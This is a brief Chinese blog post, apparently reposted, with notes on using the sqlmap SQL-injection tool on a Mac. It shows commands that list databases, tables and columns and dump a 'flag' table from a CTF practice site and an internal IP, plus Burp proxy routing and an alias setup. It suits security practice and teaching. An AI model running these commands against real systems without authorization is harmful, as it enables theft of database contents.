Mac下sqlmap的使用

Mac下sqlmap的使用

  1. sqlmap -u “url” –dbs    (显示数据库)

eg: sqlmap -u http://10.10.129.23:8088/getPost.action?postsId=14 --dbs

windows下的话sqlmap.py -u “url”—dbs

--dbsdbs前面有两条杠

 

  1. 使用burp工具抓取sqlmap发起的请求:首先设置burp的代理,然后使sqlmap连接这个代理,再发起请求,sqlmap发送的请求就可以被burp截取了

sqlmap连接burp的代理命令:

sqlmap --proxy="http://127.0.0.1:8080" -u "xxxxx"

 

windows下命令:(mac下不加.py)

//语句 --tables  -D " "    #列出指定数据库中的表

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1   

//语句--columns -T "user" -D "mysql"  #列出mysql数据库中的user表的所有字段

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1  

得到flag

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -T flag -D web1  

 

安装配置sqlmap

  1. sqlmap安装包放在python2.7的文件夹下
  2. 配置sqlmap的环境变量

vi ~/.bash_profile 添加

alias sqlmap="/Applications/Python\ 2.7/sqlmap/sqlmap.py"

然后source ~/.bash_profile   ##此条命令是使bash重新载入配置令刚才命令生效。

以后需要使用sqlmap,就只需要在terminal中输入sqlmap即可,熟悉的界面出来了

 

 

https://www.cnblogs.com/50614090/p/6086054.html

 

猜你喜欢

转载自blog.csdn.net/Xuxiuyun0611/article/details/94559748